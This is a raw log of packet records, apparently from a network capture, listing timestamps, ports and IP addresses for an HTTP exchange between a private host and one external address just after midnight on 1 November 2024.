Nov 1, 2024 00:38:18.898439884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898454905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898469925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898478031 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.898485899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898504019 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898511887 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.898516893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.898538113 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.899183989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899208069 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899216890 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.899221897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899261951 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.899532080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899549007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899573088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899585009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.899588108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899610043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.899647951 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.947957993 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.947976112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.947992086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.948004961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.948008060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.948024988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.948034048 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.948040962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:18.948061943 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:18.995470047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016181946 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016208887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016222954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016238928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016263962 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016297102 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016386986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016402006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016424894 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016442060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016443014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016459942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016475916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.016484976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016525030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.016922951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017029047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017044067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017057896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017072916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017086983 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.017097950 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.017570972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017591953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017606974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017621994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.017622948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017640114 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017653942 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.017654896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017673969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017676115 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.017687082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.017705917 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.018285990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018333912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.018395901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018412113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018429041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018445015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018449068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.018462896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018479109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018486023 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.018495083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.018526077 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.057976961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.067303896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067338943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067354918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067382097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.067398071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067414999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067442894 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.067578077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067595005 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067610979 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.067616940 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.067660093 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135210037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135230064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135246038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135262012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135268927 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135298967 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135308981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135516882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135530949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135546923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135556936 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135581970 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135786057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135848045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135862112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135885000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.135890007 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.135926962 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136091948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136107922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136123896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136142015 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136147022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136164904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136183977 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136595011 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136637926 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136662960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136678934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136714935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136732101 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136746883 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136763096 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136778116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136784077 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.136794090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.136816025 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.137558937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137600899 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.137639046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137654066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137670040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137685061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137691021 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.137703896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.137728930 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.138164043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.138202906 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.138207912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.138253927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.138267994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.138314009 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.186235905 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186320066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186332941 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186348915 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186364889 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.186366081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186381102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186393976 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.186420918 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.186722040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186743021 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186758041 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.186781883 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.229840994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254148006 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254226923 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254246950 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254261971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254272938 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254302025 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254435062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254537106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254551888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254584074 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254657984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254672050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254695892 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254785061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254797935 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254820108 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254895926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254911900 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254925966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.254940987 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.254971981 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.255115986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255147934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255183935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.255208015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255276918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255291939 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255307913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255316019 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.255346060 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.255582094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255759954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255775928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255791903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.255928040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.255964994 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.256108999 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256124973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256161928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.256831884 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256851912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256876945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256890059 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.256891012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256907940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256926060 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.256932020 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256947994 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256963968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256968975 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.256980896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.256994963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.257002115 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.257009983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.257026911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.257029057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.257042885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.257066965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.305855989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305874109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305891037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305905104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305907965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.305937052 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305949926 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305964947 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.305974960 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.305988073 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.305989981 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.306006908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.306014061 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.306022882 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.306042910 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.354845047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.373334885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.373367071 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.373383045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.373430014 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.373960972 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.373975992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374031067 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.374389887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374406099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374420881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374437094 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374459028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374463081 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.374484062 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.374516010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.374944925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374958038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374972105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.374986887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375000954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375027895 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375099897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375113010 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375117064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375174046 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375189066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375197887 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375364065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375377893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375401974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375403881 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375417948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375436068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375443935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375454903 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375483036 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375612974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375628948 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375643015 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375658989 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375673056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.375699043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.375840902 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.376210928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376226902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376240969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376255035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376271009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376271963 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.376296997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376313925 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376322985 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.376327038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.376379013 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.376379013 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.424655914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424714088 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424726963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424784899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424801111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424813032 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.424815893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.424876928 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.424877882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.425025940 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.425072908 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.425087929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.425154924 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.425223112 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.425561905 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.425909996 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.479846954 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.492566109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492594004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492600918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492697001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.492752075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492794037 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492809057 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.492820024 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.492857933 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.493463039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493529081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493544102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493560076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493576050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493597984 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.493597984 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.493665934 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493690968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493705988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493758917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493773937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493787050 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.493789911 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.493813992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494219065 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494280100 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494306087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494319916 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494337082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494352102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494379044 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494461060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494489908 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494496107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494510889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494534016 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:19.494677067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:19.494743109 CET	80	49735	185.215.113.16	192.168.2.6
